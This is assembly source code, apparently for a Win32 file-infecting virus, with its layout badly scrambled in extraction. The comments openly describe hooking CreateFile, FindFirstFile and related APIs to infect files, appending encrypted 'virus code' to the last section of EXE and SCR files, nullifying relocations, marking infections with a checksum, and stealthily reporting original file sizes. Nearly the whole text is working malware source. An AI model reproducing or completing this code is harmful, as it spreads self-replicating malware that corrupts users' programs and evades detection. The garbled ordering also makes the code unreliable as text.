4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4

jmp_table_size =

$ - jmp_addr_table

NewSetFileAttrW: NewCreateFileW: NewCreateProcessW: NewMoveFileW: NewCopyFileW: NewMoveFileExW: NewGetFileAttrW: CommonProcessW:

;new API handlerz (unicode version)..

test org

al,? $ - 1

;clear carry (unicode version)

NewSetFileAttrA: NewCreateFileA: NewCreateProcessA: NewMoveFileA: NewOpenFile: NewCopyFileA: New_lopen: NewMoveFileExA: NewGetFileAttrA: CommonProcessA:

;new API handlerz (ansi version)..

stc ;set carry (ansi version) pushad call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz) jecxz jmp_old_api call findfirst ;get atributez, size of file and check if it exists jz jmp_old_api dec eax push eax ;save search handle @copysz ;copy filename to an internal buffer call Process_File2 ;try to infect file.. NCF_close: call

[ebp + ddFindClose - ebp_num]

;close file search

jmp_old_api: popad jmp

eax

NewFindFirstFileW: test org NewFindFirstFileA:

correctly

pathnamez pathnamez

next2_ff:

;jump to original API adress ;new findfirst API handler.. infect files, stealth (unicode version) al,? $ - 1

;clear carry (unicode version)

;new findfirst API handler.. infect files, stealth (ansi version)

stc ;set carry (ansi version) call APICall@n_2 ;call old findfirst API pushad inc eax ;if any error, get out jz go_ret_2Pshd dec eax jz go_ret_2Pshd call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez and convert unicode string to ansi (for unicode version APIz) jecxz go_ret_2Pshd mov edi,[ebp + pPathNamez - ebp_num] ;get pointer to new entry in table lea ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of table cmp edi,ebx jnc go_ret_2Pshd ;if not enough space to store filename, jump mov ebx,edi @copysz ;copy filename to pathnamez table mov al,[edi - 1] ;get end of path.. add al,-'\' jz eop_ff sub al,':' - '\' jz eop_ff dec edi

cmp ebx,edi jc next2_ff xor al,al eop_ff: stosb ;force null to split path from filename mov [ebp + pPathNamez - ebp_num],edi ;update pointer to next entry in pathnamez table call get_handle_ofs_0 ;get new free entry in handlez table jc go_ret_2Pshd mov eax,[esp.Pushad_eax] ;get handle returned by findfirst stosd ;store handle into handlez table xchg eax,ebx stosd ;store pointer to asociated pathname into handlez table as well mov [ebp + pHandlez - ebp_num],edi ;update pointer to next entry in handlez table xchg esi,eax jmp FindCommon go_ret_2Pshd:

popad ret

NewFindNextFileW: test org NewFindNextFileA: stc call pushad call

;return to caller (2*Pshd) ;new findnext API handler.. infect files, stealth (unicode version) al,? $ - 1

;clear carry (unicode version)

;new findnextt API handler.. infect files, stealth (ansi version)

APICall@n_2

;set carry (ansi version) ;call old findnext API

get_handle_ofs_ebp

;get correct entry in handlez table acordin

to handle

FindCommon:

pathname its_ansi_fc:

NewFindCloseX:

jc mov

go_ret_2Pshd esi,[edi + 4]

lea @copysz dec mov or lea jnz call

edi,[ebp + PathName - ebp_num] ;copy pathname to respective buffer edi ebx,[esp.cPushad.Arg2] ;get WIN32_FIND_DATA parameter al,[ebp + uni_or_ansi - ebp_num] ;check if its ansi or unicode esi,[ebx.WFD_szFileName] ;get filename its_ansi_fc Uni2Ansi ;its unicode, convert to ansi and atach filename to

call call jnz test jnz div dec jns call jmp

Process_File3 ;try to infect file get_size ;get file size go_ret_2Pshd [ebx.WFD_nFileSizeLow.hiw.hib],11111100b ;filesize > 64MB? go_ret_2Pshd ;yea, file too large, jump ecx edx go_ret_2Pshd ;if not infected, jump, stealth not necesary check_PE_file ;file is infected, do size stealth go_ret_2Pshd

mov call pushad call

cl,1 APICall@n

jc lea

go_ret_Pshd esi,[edi + 4]

;get respective pathname

;call old findclose API

get_handle_ofs_ebp

to handle

;get correct entry in handlez table acordin

mov lodsd sub pushad xchg mov mov @endsz sub mov rep mov

ecx,[ebp + pHandlez - ebp_num] ecx,esi esi,eax ecx,[ebp + pPathNamez - ebp_num] edi,esi ecx,esi [esp.Pushad_ebx],ecx movsb [ebp + pPathNamez - ebp_num],edi

;remove pathname entry

;update pointer to handlez

table

FixpPathNamez:

setH_fc: table go_ret_Pshd:

Open&MapFile

popad shr jz movsd lodsd sub stosd loop mov popad ret

ecx,3 setH_fc

;remove handle entry

eax,ebx FixpPathNamez [ebp + pHandlez - ebp_num],edi

;update pointer to pathnamez

(Pshd)

proc

;open and map file in read only mode ; on entry: ; ESI = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok

xor

edi,edi

Open&MapFileAdj:

;open and map file in read/write mode ; on entry: ; EDI = file size + work space (in bytes) ; ESI = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok ; EDI = old file size xor push push push push mov push ror mov jecxz rcr push push call cdq xor inc jz dec

eax,eax eax ;0 eax ;FILE_ATTRIBUTE_NORMAL OPEN_EXISTING eax ;NULL al,1 eax ;FILE_SHARE_READ eax,1 ;GENERIC_READ ecx,edi $ + 4 eax,1 ;GENERIC_READ + GENERIC_WRITE eax esi ;pszFileName [ebp + ddCreateFileA - ebp_num] ;open file esi,esi eax end_Open&MapFile eax

;if error, jump

push

eax

push push push mov mov jecxz shl push push push call cdq xchg jecxz push

edx ;NULL edi ;file size + buffer size edx ;0 dl,PAGE_READONLY ecx,edi $ + 4 dl,1 ;PAGE_READWRITE edx esi ;NULL eax ;handle [ebp + ddCreateFileMappingA - ebp_num] ;create file mapping

push push push mov test .if shr mov .endif push push call xchg jecxz push

edi ;file size + buffer size edx ;0 edx ;0 dl,FILE_MAP_READ edi,edi !zero? dl,1 ;FILE_MAP_WRITE edi,[ebx.WFD_nFileSizeLow]

jmp

[esp.(3*Pshd).RetAddr]

ecx,eax end_Open&MapFile2 ecx

;push first handle

;if error, close handle and jump ;push second handle

edx ecx ;handle [ebp + ddMapViewOfFile - ebp_num] ;map view of file ecx,eax end_Open&MapFile3 ecx ;push base adress of memory-maped file ;jump to return adress leavin parameterz in

the stack Open&MapFile

endp

Close&UnmapFile proc xor Close&UnmapFileAdj: pop call

;close and unmap file previosly opened in read only mode edi,edi ;close and unmap file previosly opened in read/write mode [esp.(4*Pshd).RetAddr - Pshd] [ebp + ddUnmapViewOfFile - ebp_num]

;unmap view of file

end_Open&MapFile3: call mov jecxz pop push push xor push push push push xchg call

[ebp + ddCloseHandle - ebp_num] ;close handle ecx,edi end_Open&MapFile2 ;if read-only mode, jump eax eax eax esi,esi esi esi edi eax edi,eax [ebp + ddSetFilePointer - ebp_num] ;move file pointer to the

real end of file call

[ebp + ddSetEndOfFile - ebp_num]

;truncate file at real end

lea push push push push call

eax,[ebx.WFD_ftLastWriteTime] eax esi esi edi [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp

of file

field end_Open&MapFile2: call

[ebp + ddCloseHandle - ebp_num] ;close handle

end_Open&MapFile: xor ret

ecx,ecx

Close&UnmapFile endp get_ebp2_Uni2Ansi:

mov call lea jc Uni2Ansi:

xor push push push push push push push push call mov ansiok: xchg cld ret Rva2Raw proc

;this function sets EBP register to reference internal ; variablez correctly and also converts unicode ; strings to ansi (for unicode version APIz only). ;this function is only useful at the resident stage. ;on entry: ; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name ;on exit: ; ECX = 0, if error

esi,[esp.(Pshd).cPushad.Arg1] get_ebp2 edi,[ebp + PathName - ebp_num] ansiok

;get source pointer to specified file name ;get actual EBP ;get target pointer to internal buffer

;this function converts an ansi string to a unicode string ;on entry: ; ESI = pointer to specified file name ;on exit: ; ECX = 0, if error eax,eax eax eax MAX_PATH edi -1 esi eax eax [ebp + ddWideCharToMultiByte - ebp_num] esi,edi ecx,eax

;NULL ;NULL ;target pointer ;source pointer ;CP_ACP

;this function converts RVA valuez to RAW pointerz inside PE ; filez. This function is specialy useful for memory-maped ; filez. ;given a RVA value, this function returns the start adress ; and size of the section containin it, plus its relative ; delta value inside the section.

;on entry: ; EAX = RVA value ; EBP = start of memory-maped file (MZ header) ; ESI = start of PE header + 3Ch ;on exit: ; EBP = RAW size of section ; EBX = RAW start of section ; ECX = 0, if not found ; start of respective section header (+ section header ; size), if found ; EDX = RVA start of section ; ESI = relative delta of RVA value inside section. movzx

jecxz movzx

lea x = match_virtual:

mov mov sub sub cmp jb loop

ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz .FH_NumberOfSections \ -MZ_lfanew] end_Rva2Raw ebx,word ptr [esi.NT_FileHeader \ ;get first section header .FH_SizeOfOptionalHeader \ -MZ_lfanew] ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew] IMAGE_SIZEOF_SECTION_HEADER ;scan each PE section header and determine if specified RVA ;value points inside esi,eax edx,[ebx.SH_VirtualAddress] esi,edx ebx,-x esi,[ebx.SH_VirtualSize - x] section_found match_virtual

;is RVA value pointin inside current section? ;yea we found the section, jump ;nope, get next section

end_Rva2Raw: ret Rva2Raw endp get_handle_ofs_ebp:

;this function sets EBP register to reference internal ; variablez correctly and also given a handle, it gets ; a pointer to an entry in the handlez table. ;this function is only useful at the resident stage. ;on entry: ; TOS+28h (Pshd.cPushad.Arg1): specified handle ;on exit: ; EDI = pointer to entry in handlez table ; Carry clear, if ok ; Carry set, if error

xchg jecxz call mov jecxz xchg cmp org get_handle_ofs_0:

ecx,eax end_gho_stc get_ebp2 ecx,[esp.(Pshd).cPushad.Arg1] end_gho_stc eax,ecx ax,? $ - 2

;get handle

;gets a pointer to an empty entry in the handlez table ;this function is only useful at the resident stage. ;on exit:

; ; ; sub

EDI = pointer to entry in handlez table Carry clear, if ok Carry set, if error eax,eax

get_handle_ofs: ;given a handle, this function gets a pointer ; to an entry in the handlez table. ;this function is only useful at the resident stage. ;on entry: ; EAX = specified handle ;on exit: ; EDI = pointer to entry in handlez table ; Carry clear, if ok ; Carry set, if error lea lea next_gho: scasd scasd cmp jc cmp jnz test org end_gho_stc: stc end_gho: ret

edi,[ebp + Handlez - 8 - ebp_num] edx,[edi + nHANDLEZ] ;add edi,8 ; edx,edi ;top of handlez table reached? end_gho ;yea, handle not found, jump eax,[edi] ;do handlez match? next_gho ;no, check next handle, jump al,? ;yea, handle found, clear carry $ - 1 ;set carry

section_found: x = xchg add xchg mov cld ret get_relocs:

add add lea

IMAGE_SIZEOF_SECTION_HEADER ebp,ebx ebx,[ebp.SH_PointerToRawData - x] ecx,ebp ebp,[ecx.SH_SizeOfRawData - x]

;get RAW start of section ;get RAW size of section

;this comon funtion is called from both instalation and ; infection stage. ;it simply locates each relocation block in the .reloc section ; and calls a function to (a) nulify those dangerous reloca; tionz in a block (infection stage) or (b) to fix the code ; pointed to by such marked relocationz (instalation stage). ;on entry: ; EDI = RVA start pointer to chunk of code ; TOS+04h (Arg1): fix_relocs label function adress (instalation stage) ; or ; nul_relocs label function adress (infection stage) ; TOS+00h (return adress) esi,ebx edx,edi ebp,[ecx+esi]

;get start of relocation section in aplication context ;get end adress of chunk code ;get end of relocation section in aplication context

process_reloc_blocks: lodsd xchg lea lodsd x =

ebx,eax ecx,[ebx + 4096]

;get start RVA for this block of relocationz ;get end RVA where relocationz can point in a block ;get size of reloc block IMAGE_SIZEOF_BASE_RELOCATION

add cmp lea push jnc shr cmp jnc xchg jecxz

eax,-x edi,ecx ecx,[eax + esi] ecx next_reloc_block eax,1 ebx,edx next_reloc_block ecx,eax next_reloc_block

call

[esp.(Pshd).Arg1]

;RVA pointer inside relocation block? (check low boundary) ;get next block adress

;RVA pointer inside relocation block? (check high boundary) ;get number of relocationz for this block

;call fix_relocs function or nul_relocs function

next_reloc_block: pop lea cmp jc ret Process_File3:

@copysz mov mov lea and

esi eax,[esi + x] eax,ebp process_reloc_blocks (Pshd)

;get next block adress ;end of relocation blockz? ;no, process the block, jump ;yea, no more relocation blockz, return

;this function copies a filename to an internal buffer ; and checks the extension thru a list of infectable ; extensions (EXE and SCR filez for the moment). If ; the extension matches, the file will be infected. edx,not 0FF202020h ecx,[edi-4] esi,[ebp + Exts - ebp_num] ecx,edx

;upercase mask ;get filename extension ;get pointer to list of extensionz ;convert file extension to upercase

next_ext: lodsd dec js and dec xor jnz cmp jnz call

al end_PF3 eax,edx esi eax,ecx next_ext byte ptr [edi-5],'.' end_PF3 Process_File2

;get extension from list ;no more extensionz? ;convert extension to upercase ;do extensionz match?

;no, get next extension ;yes, extensionz match, infect file

end_PF3: ret err_Rva2Raw: popad

;needed to unwind the stack from some function

err_Rva2Raw2:

Attach

popad ret

;needed to unwind the stack from some function

proc

;attach virus code to last section in the PE file and ; change section characteristicz to reflect infection. ;on entry: ; ECX = base of memory-maped file ; EDI = original file size ;on exit: ; EDI = new file size

lea mov add mov

esi,[ecx.MZ_lfanew] eax,[ebp + pcode_start - ebp_num] esi,[esi] edx,[esi.NT_OptionalHeader \ .OH_ImageBase \ -MZ_lfanew]

pushad xor x = sub mul

;save valuez to stack eax,eax IMAGE_SIZEOF_SECTION_HEADER al,-x byte ptr [esi.NT_FileHeader \ ;get number of sectionz .FH_NumberOfSections \ -MZ_lfanew] ax,word ptr [esi.NT_FileHeader \ ;get first section header .FH_SizeOfOptionalHeader \ -MZ_lfanew] err_Rva2Raw2 ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax] eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew] edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew] eax edx eax,edx ;check SectionAlignment and FileAlignment fieldz eax,10000h err_Rva2Raw2 ;too large? edi,ecx ;get end of file in MM-file al err_Rva2Raw2 eax,[ebx.SH_VirtualAddress - x] ebp,ecx ;get MM-file base address eax,edi ecx,[ebx.SH_PointerToRawData - x] eax,ecx ;get new RVA entry point

add

jc lea mov mov dec dec or cmp jnc add inc jnz mov mov add add sub ;at this point: ; ; cPushad.EAX = ; cPushad.EBX = ; EBP = ; EAX = ; EDX = ; EDI = ; ECX = ; EBX = ; ; ESI = pushad mov

;get base of PE header + 3Ch ;get start adress of virus code ;get built-in image base

source adress of code to copy (start at encrypted stringz) embedded (in PE header) host base address start of MM-file. Base address of MM-file new RVA entry point (start of virus code RVA) file alignment - 1 target adress where code will be copied to in the MM-File start adress of last section in the MM-file start adress of last section header (plus section header size) in the MM-file start of PE header (+ 3Ch) in the MM-file

eax,[esi.NT_OptionalHeader \ .OH_AddressOfEntryPoint \ -MZ_lfanew]

;get current entry point

;on entry: ; ; EAX = Host EntryPoint RVA ; EBP = start of MZ header (start of MM-file) ; ESI = start of PE header + 3Ch (in MM-file) call

Rva2Raw

;find true code section (clue: EntryPoint RVA points inside)

;on exit: ; ; EBP = raw size of CODE section

; ; ; ; ;

EBX = raw start of CODE section ECX = 0, if not found start of CODE section header (+ section header size), if found EDX = start of CODE section RVA ESI = relative delta of RVA inside CODE section. jecxz pushad mov mov x = or

err_Rva2Raw

;code section not found, invalid EntryPoint

ebp,esp edx,[ebp.(2*cPushad).Pushad_ebp] ;get original ebp IMAGE_SIZEOF_SECTION_HEADER byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h ;set exec bit to section

exec_set: mov xor jz

esi,[edx + ImportHdr - ebp_num] ;get import section header ecx,esi ;is import table inside code section? IT_in_Code ;yea, jump

;import table NOT inside code section (i.e. probably exists an .idata section) or

byte ptr [esi.SH_Characteristics.hiw.hib - x],80h

;set writable bit

IT_in_Code:

;import table is inside code section (stupid microsoft) ;no need to set the writable bit (the exec bit does the job)

sub push mov sub sub_1st_val = add stosd push mov stosw sub stosb mov sub sub stosd xor pop stosw mov

ecx,ecx edi cl,5 eax,0B2FD26A3h dword ptr $ - 4 edi,ecx

nulify_relocs:

;nulify relocs that could overwrite our inserted chunks of code..

push lodsw cwde pushad mov mov

jecxz push push mov

;need this value l8r, push it

;add edi,5

edi eax,ecx

;ax = 5

al,- 0e9h + 5

;al = E9h

eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code eax,[ebp.Pushad_eax] eax,ecx ;sub eax,5 eax,eax esi ;0 edi,[ebp.Pushad_eax]

edi

esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch) ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_Size \ -MZ_lfanew] go_popad ;no relocationz, jump eax ;save size of this chunk of code temporarily ecx ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header)

mov

call pop pop jecxz xchg call

eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_VirtualAddress \ -MZ_lfanew] Rva2Raw ;convert RVA to a raw offset inside the section eax edx ;retrieve size of this chunk of code temporarily go_popad ecx,eax mark_reloc ;pass nul_relocs as a parameter to get_relocs function

nul_relocs: lodsw cwde ror add jnz shr relocation item lea cmp code.. jnc add cmp jnc next relocation

;get relocation item eax,3*4 al,- IMAGE_REL_BASED_HIGHLOW n_next_reloc eax,5*4

;check relocation type ;not valid, get next relocation item ;strip or blank relocation type field from

eax,[eax + ebx + 4] edi,eax

;convert relocation pointer to RVA ;check if relocation points to our chunk of

n_next_reloc eax,-4 eax,edx n_next_reloc item

;check low boundary ;check high boundary ;it doesnt point to our chunk of code, get

;this relocation item is pointing inside our chunk of code.. ;nulify and mark it! and

byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8)

;nulify relocation!

n_next_reloc: loop ret

nul_relocs

;get next relocation item

mark_reloc: call

get_relocs

go_popad: popad xchg add sub

ecx,eax edi,[ebp.Pushad_ebx] edi,[ebp.Pushad_edx]

;size of this chunk of code ;convert RVA start of chunk of code to a raw value

pre_crypt: lodsb xchg ror inc xor _xor_2nd_val = mov loop lodsw cwde

;encrypt chunk of code.. [edi],al al,cl edi al,06Ah byte ptr $ - 1 [esi-1],al pre_crypt ;get next chunk of code

pop xchg jecxz sub jmp

edi ecx,eax pre_crypt_done edi,ecx nulify_relocs

;no more chunkz? ;point EDI to next chunk ;check relocationz, jump

pre_crypt_done: sub pop stosb lea sub stosd mov add mov mov xchg rep sub mov add mov mov popad popad

al,-0e8h edi

;build 'call' instruction

x =

IMAGE_SIZEOF_SECTION_HEADER

eax,[eax + get_base - code_start - 4 - 0e8h + esi] ; eax,edi cx,(v_end - code_start + 3)/4 eax,edi edi,[ebp.cPushad.cPushad.Pushad_eax] edx,[ebp.cPushad.cPushad.Pushad_edx] esi,edi movsd ecx,[ebp.cPushad.Pushad_eax] [ebp.cPushad.Pushad_edi],edi ecx,-5 [eax + old_base - get_base],edx [eax + delta_host - get_base],ecx

;get start of virus code ;get embedded base ;copy virus code

;hardcode some valuez..

sub edi,ecx ;change characteristicz of last section in the PE header.. lea ecx,[edx + edi] xchg edx,eax inc eax cdq ;edx=0 xchg ecx,eax div ecx ;calculate new size of last section mul ecx xchg eax,edi mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew] sub eax,v_end - virtual_end cmp [ebx.SH_VirtualSize - x],eax ;calculate new virtual size of last section jnc n_vir mov [ebx.SH_VirtualSize - x],eax n_vir: dec eax mov [ebx.SH_SizeOfRawData - x],edi ;update size of last section add eax,ecx div ecx mul ecx pop ebp ;get original file size add eax,[ebx.SH_VirtualAddress - x] cmp [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax ;update size of image field in the PE header jnc n_img mov [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax n_img: add edi,[ebx.SH_PointerToRawData - x] sub ecx,ecx or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h ;change section flagz push ebp mov eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew] ;calculate special checksum to mark infected filez xor ebp,eax add al,-2Dh

xor not xor shl xor shr shld mov pop mov cmp .if xchg .endif sub div mul push

ebp,0B2FD26A3h xor 0D4000000h al al,ah ebp,6 al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew] al,2 eax,ebp,3*8+2 [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax ;store checksum value eax ;get original file size cl,65h eax,edi ;calculate new file size.. carry? edi,eax eax,1 - 65h ecx ecx eax

;use size paddin..

end_Attach: popad needed_ret: ret Attach

endp

Process_Dir:

dec cmp jnc pushad mov adc cld mov cmp jz stosb Find_Filez: push sub stosd call pop jz dec push Process_File: push lea

;this function receives a pointer to an asciiz string ; containin a path, then it searches filez with an extension ; matchin the list of extensionz, and finaly infects them. ;on entry: ; EDI = pointer to pathname ; EAX = size of pathname eax eax,7Fh needed_ret

;if pathname greater than 7Fh characterz, jump

esi,edi edi,eax al,'\' [edi-1],al Find_Filez

;add '\' to the pathname if not included

;find filez in the specified pathname.. edi eax,'\' - '*.*' findfirst edi end_Attach eax eax

;find each file "*.*" in the path ;if error, jump ;save search handle ;a file was found, process it

edi esi,[ebx.WFD_szFileName]

;get filename

call

Process_File3

;process file, infect it

Find_Next: pop pop push push push call test jnz

edi eax eax ebx eax [ebp + ddFindNextFileA - ebp_num] eax,eax Process_File

;find next file ;more filez? ;yea, process it, jump

[ebp + ddFindClose - ebp_num]

;close search

Find_Close: call end_Find: end_Process_Dir: popad ret APICall@n_2:

mov

cl,2

APICall@n

proc

;this function calls an API and passes "n" parameterz ; as argumentz ;on entry: ; EAX = API function adress ; ECX = number of paremeterz

pushfd movzx mov push_args: push loop call popfd ret APICall@n endp

;call an API and pass two parameterz

edx,cl ecx,edx dword ptr [esp.(2*Pshd) + 4*edx] push_args eax

;push parameter ;call API

IGetProcAddressIT: pop push lea push push

edx eax eax,[ebp + vszKernel32 - ebp_num] eax edx

GetProcAddressIT proc

;gets a pointer to an API function from the Import Table ; (the object inspected is in raw form, i.e. memory-maped) ;on entry: ; TOS+08h (Arg2): API function name ; TOS+04h (Arg1): module name ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found

pushad lea

esi,[ecx.MZ_lfanew]

mov add mov

jecxz mov

call jecxz push mov mov for l8r use x = Get_DLL_Name: specified

ebp,ecx ;get KERNEL32 module handle esi,[esi] ;get address of PE header + MZ_lfanew ecx,[esi.NT_OptionalHeader \ ;get size of import directory .OH_DirectoryEntries \ .DE_Import \ .DD_Size \ -MZ_lfanew] End_GetProcAddressIT2 ;if size is zero, no API imported! eax,[esi.NT_OptionalHeader \ ;get address of Import directory .OH_DirectoryEntries \ .DE_Import \ .DD_VirtualAddress \ -MZ_lfanew] Rva2Raw ;find size and raw start of import section End_GetProcAddressIT esi eax,[esp.(Pshd).Pushad_ebp] [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header IMAGE_SIZEOF_IMPORT_DESCRIPTOR ;scan each import descriptor inside import section to match module name

pop esi and start of import section mov ecx,[ebx.esi.ID_Name]

;diference (if any) between start of import table ;get RVA pointer to imported module name

End_GetProcAddressIT2: jecxz sub cmp jae sub push lea mov

End_GetProcAddressIT ;end of import descriptorz? ecx,edx ;convert RVA pointer to RAW ecx,ebp ;check if it points inside section End_GetProcAddressIT esi,-x esi ;save next import descriptor for later retrieval esi,[ebx + ecx] edi,[esp.(Pshd).cPushad.Arg1] ;get module name specified from Arg1

Next_char_from_DLL: lodsb add jz sub cmp jae add no_up: sub IT_nup: scasb jnz cmp jnz

;do a char by char comparison with module name found inside seccion ;stop when a NULL or a dot '.' is found

al,-'.' IT_nup al,-'.'+'a' al, 'z'-'a'+ 1 no_up al,-20h al,-'a'

;its a dot

;convert to upercase

Get_DLL_Name byte ptr [edi-1],0 Next_char_from_DLL

;namez dont match, get next import descriptor

Found_DLL_name: ;we got the import descriptor containin specified module name pop lea add mov later use mov later use

esi eax,[edx + esi.ID_ForwarderChain - x] esi,ebx [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for [esp.Pushad_esi],esi

;store pointer to import descriptor for

push dword ptr [esp.cPushad.Arg2] mov eax,[esp.(Pshd).Pushad_ebp] push dword ptr [eax + K32Mod - ebp_num] call GetProcAddressET ;scan export table of specified module handle xchg eax,ecx ;and get function adress of specified API mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API function adressez are bound in the IAT jecxz End_GetProcAddressIT ;if not found then go, this value cant be zero or the IAT wont be patched push eax call GetProcAddrIAT ;inspect first thunk (which later will be patched by the loader) test eax,eax jnz IAT_found ;if found then jump (save it and go) mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later will hold the original unpatched IAT) jecxz End_GetProcAddressIT ;if not found then go, this value could be zero push eax call GetProcAddrIAT ;inspect original thunk test eax,eax jz IAT_found ;jump if not found sub eax,ecx ;we got the pointer add eax,[esi.ID_FirstThunk - x] ;convert it to RVA db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P org $ - 2 End_GetProcAddressIT: db

33h,0C0h ;xor eax,eax

;error, adress not found

[esp.Pushad_eax],eax

;save IAT entry pointer

(2*Pshd)

;jump and unwind parameterz in stack

IAT_found: mov popad ret findfirst: lea push push call

;this function is just a wraper to the FindFistFileA API.. ebx,[ebp + FindData - ebp_num] ebx esi [ebp + ddFindFirstFileA - ebp_num]

;args for findfirst ;args for findfirst ;call FindFirstFileA API

end_findfirst: inc cld ret get_size:

xor test jnz

eax

;this function retrieves the file size and discards ; huge filez, it also sets some parameterz for l8r use ;on entry: ; EBX = pointer to WIN32_FIND_DATA structure ;on exit: ; EAX = file size ; ESI = pointer to filename ; Carry clear: file ok ; Carry set: file too large ecx,ecx byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY get_size_ret ;discard directory entriez

mov cmp

edx,ecx [ebx.WFD_nFileSizeHigh],edx

;discard huge filez, well if any thaat big

mov lea mov

cl,65h esi,[ebp + PathName - ebp_num] eax,[ebx.WFD_nFileSizeLow]

;load size padin value ;get pointer to filename ;get file size

(>4GB)

get_size_ret: ret GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords" ; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for ; the selected API name. This function works for both ; bound and unbound import descriptorz. This function is ; called from inside GetProcAddressIT. ;on entry: ; EBX = RAW start pointer of import section ; ECX = RVA pointer to IMAGE_THUNK_ARRAY ; EDX = RVA start pointer of import section ; EDI = pointer selected API function name. ; EBP = RAW size of import section ; TOS+04h (Arg1): real address of API function inside selected ; module (in case the descriptor is unbound). ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found push push sub xor cmp jae lea

ecx esi ecx,edx eax,eax ecx,ebp IT_not_found esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword: lodsd test jz

eax,eax IT_not_found

;get dword value ;end of IMAGE_THUNK_DATA array?

no_ordinal: sub cmp jb add cmp jmp

eax,edx eax,ebp IT_search eax,edx eax,[esp.(2*Pshd).Arg1] IT_found?

;convert dword to a RAW pointer ;dword belongs to an unbound image descriptor? ;no, jump ;yea, we have the API adress itself, reconvert to RVA ;API adressez match? ;yea, we found it, jump

IT_search: push lea mov IT_next_char: cmpsb jnz

esi ;image descriptor contains imports by name esi,[ebx+eax.IBN_Name] ;get API name from import descriptor edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter ;find requested API from all imported API namez..

IT_new_search

;do APIz match? ;no, continue searchin

IT_Matched_char: cmp jnz

byte ptr [esi-1],0 IT_next_char

IT_new_search: pop

esi

;yea, they match, we found it

IT_found?: jnz lea sub

next_thunk_dword eax,[edx+esi-4] ;get the pointer to the new IAT entry eax,ebx ;convert it to RVA

IT_not_found: pop pop ret GetProcAddressIT check_PE_file:

call jecxz mov add jnc Check_PE_sign:

cmp jnz mov cmp jb add cmp jnz cmp jnz mov not test cant be a DLL

esi ecx (Pshd) ENDP ;this function opens, memory-maps a file and checks ; if its a PE file ;on entry: ; EBX = pointer to WIN32_FIND_DATA structure ; ESI = pointer to filename ;on exit: ; ESI = 0, file already infected or not infectable ; ESI != 0, file not infected Open&MapFile end_PE_file eax,[ebx.WFD_nFileSizeLow] eax,-80h Close_File

;open and memory-map the file ;get file size ;file too short?

;this function checks validity of a PE file. ;on entry: ; ECX = base address of memory-maped file ; EBX = pointer to WIN32_FIND_DATA structure ; EAX = host file size - 80h ;on exit: ; ESI = 0, file already infected or not infectable ; ESI != 0, file not infected word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature Close_File edi,[ecx.MZ_lfanew] ;get ptr to new exe format eax,edi ;ptr out of range? Close_File edi,ecx dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature Close_File word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ machine IMAGE_FILE_MACHINE_I386 Close_File eax,dword ptr [edi.NT_FileHeader.FH_Characteristics] al ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but IMAGE_FILE_DLL

jnz

Close_File

;at this point, calculate virus checksum to make sure file is really ;infected. If its infected then return original size of host previous ;to infection and store it in the WIN32_FIND_DATA structure (stealth). mov push sub xor mov xor and xor mov inc pop jnz xor xor and cmp jnc mov go_esi: inc

eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field eax al,2Dh ;calculate virus checksum to make sure file is really infected ah,al al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib] ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw] al,11111100b ah,al [ebp + uni_or_ansi - ebp_num],ah ah eax go_esi eax,0B2FD26A3h xor 68000000h eax,[edi.NT_FileHeader.FH_TimeDateStamp] eax,03FFFFFFh eax,[ebx.WFD_nFileSizeLow] go_esi [ebx.WFD_nFileSizeLow],eax ;return original file size esi ;set "already infected" mark

Close_File: call

Close&UnmapFile

;close and unmaps file

end_PE_file: dec ret pop_ebp: pop if lea endif mov cld

esi

